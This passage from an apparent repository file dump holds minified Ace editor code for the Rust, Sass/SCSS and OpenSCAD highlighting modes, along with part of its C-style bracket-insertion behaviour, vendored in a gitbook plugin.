lf|sizeof|static|struct|super|trait|type|typeof|unsafe|unsized|use|virtual|where|while|yield)\\\\b\"},{token:\"storage.type.source.rust\",regex:\"\\\\b(?:Self|isize|usize|char|bool|u8|u16|u32|u64|f16|f32|f64|i8|i16|i32|i64|str|option|either|c_float|c_double|c_void|FILE|fpos_t|DIR|dirent|c_char|c_schar|c_uchar|c_short|c_ushort|c_int|c_uint|c_long|c_ulong|size_t|ptrdiff_t|clock_t|time_t|c_longlong|c_ulonglong|intptr_t|uintptr_t|off_t|dev_t|ino_t|pid_t|mode_t|ssize_t)\\\\b\"},{token:\"variable.language.source.rust\",regex:\"\\\\bself\\\\b\"},{token:\"comment.line.doc.source.rust\",regex:\"//!.*$\"},{token:\"comment.line.double-dash.source.rust\",regex:\"//.*$\"},{token:\"comment.start.block.source.rust\",regex:\"/\\\\*\",stateName:\"comment\",push:[{token:\"comment.start.block.source.rust\",regex:\"/\\\\*\",push:\"comment\"},{token:\"comment.end.block.source.rust\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.source.rust\"}]},{token:\"keyword.operator\",regex:/\\$|[-=]>|[-+%^=!&|<>]=?|[*/](?![*/])=?/},{token:\"punctuation.operator\",regex:/[?:,;.]/},{token:\"paren.lparen\",regex:/[\\[({]/},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"constant.language.source.rust\",regex:\"\\\\b(?:true|false|Some|None|Ok|Err)\\\\b\"},{token:\"support.constant.source.rust\",regex:\"\\\\b(?:EXIT_FAILURE|EXIT_SUCCESS|RAND_MAX|EOF|SEEK_SET|SEEK_CUR|SEEK_END|_IOFBF|_IONBF|_IOLBF|BUFSIZ|FOPEN_MAX|FILENAME_MAX|L_tmpnam|TMP_MAX|O_RDONLY|O_WRONLY|O_RDWR|O_APPEND|O_CREAT|O_EXCL|O_TRUNC|S_IFIFO|S_IFCHR|S_IFBLK|S_IFDIR|S_IFREG|S_IFMT|S_IEXEC|S_IWRITE|S_IREAD|S_IRWXU|S_IXUSR|S_IWUSR|S_IRUSR|F_OK|R_OK|W_OK|X_OK|STDIN_FILENO|STDOUT_FILENO|STDERR_FILENO)\\\\b\"},{token:\"meta.preprocessor.source.rust\",regex:\"\\\\b\\\\w\\\\(\\\\w\\\\)*!|#\\\\[[\\\\w=\\\\(\\\\)_]+\\\\]\\\\b\"},{token:\"constant.numeric.integer.source.rust\",regex:\"\\\\b(?:[0-9][0-9_]*|[0-9][0-9_]*(?:u|us|u8|u16|u32|u64)|[0-9][0-9_]*(?:i|is|i8|i16|i32|i64))\\\\b\"},{token:\"constant.numeric.hex.source.rust\",regex:\"\\\\b(?:0x[a-fA-F0-9_]+|0x[a-fA-F0-9_]+(?:u|us|u8|u16|u32|u64)|0x[a-fA-F0-9_]+(?:i|is|i8|i16|i32|i64))\\\\b\"},{token:\"constant.numeric.binary.source.rust\",regex:\"\\\\b(?:0b[01_]+|0b[01_]+(?:u|us|u8|u16|u32|u64)|0b[01_]+(?:i|is|i8|i16|i32|i64))\\\\b\"},{token:\"constant.numeric.float.source.rust\",regex:\"[0-9][0-9_]*(?:f32|f64|f)|[0-9][0-9_]*[eE][+-]=[0-9_]+|[0-9][0-9_]*[eE][+-]=[0-9_]+(?:f32|f64|f)|[0-9][0-9_]*\\\\.[0-9_]+|[0-9][0-9_]*\\\\.[0-9_]+(?:f32|f64|f)|[0-9][0-9_]*\\\\.[0-9_]+%[eE][+-]=[0-9_]+|[0-9][0-9_]*\\\\.[0-9_]+%[eE][+-]=[0-9_]+(?:f32|f64|f)\"}]},this.normalizeRules()};o.metaData={fileTypes:[\"rs\",\"rc\"],foldingStartMarker:\"^.*\\\\bfn\\\\s*(\\\\w+\\\\s*)?\\\\([^\\\\)]*\\\\)(\\\\s*\\\\{[^\\\\}]*)?\\\\s*$\",foldingStopMarker:\"^\\\\s*\\\\}\",name:\"Rust\",scopeName:\"source.rust\"},r.inherits(o,i),t.RustHighlightRules=o}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/rust\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/rust_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./rust_highlight_rules\").RustHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\",nestable:!0},this.$id=\"ace/mode/rust\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-sass.js",
    "content": "define(\"ace/mode/scss_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-shadow|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|abs|adjust_color|adjust_hue|alpha|join|blue|ceil|change_color|comparable|complement|darken|desaturate|floor|grayscale|green|hue|if|invert|join|length|lighten|lightness|mix|nth|opacify|opacity|percentage|quote|red|round|saturate|saturation|scale_color|transparentize|type_of|unit|unitless|unqoute\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable\",regex:\"[a-z_\\\\-$][a-z0-9_\\\\-$]*\\\\b\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(o,s),t.ScssHighlightRules=o}),define(\"ace/mode/sass_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/scss_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./scss_highlight_rules\").ScssHighlightRules,o=function(){s.call(this);var e=this.$rules.start;e[1].token==\"comment\"&&(e.splice(1,1,{onMatch:function(e,t,n){return n.unshift(this.next,-1,e.length-2,t),\"comment\"},regex:/^\\s*\\/\\*/,next:\"comment\"},{token:\"error.invalid\",regex:\"/\\\\*|[{;}]\"},{token:\"support.type\",regex:/^\\s*:[\\w\\-]+\\s/}),this.$rules.comment=[{regex:/^\\s*/,onMatch:function(e,t,n){return n[1]===-1&&(n[1]=Math.max(n[2],e.length-1)),e.length<=n[1]?(n.shift(),n.shift(),n.shift(),this.next=n.shift(),\"text\"):(this.next=\"\",\"comment\")},next:\"start\"},{defaultToken:\"comment\"}])};r.inherits(o,s),t.SassHighlightRules=o}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/sass\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sass_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sass_highlight_rules\").SassHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.$id=\"ace/mode/sass\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-scad.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/scad_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){var e=this.createKeywordMapper({\"variable.language\":\"this\",keyword:\"module|if|else|for\",\"constant.language\":\"NULL\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},s.getStartRule(\"start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant\",regex:\"<[a-zA-Z0-9.]+>\"},{token:\"keyword\",regex:\"(?:use|include)\"},{token:e,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")])};r.inherits(u,o),t.scadHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return 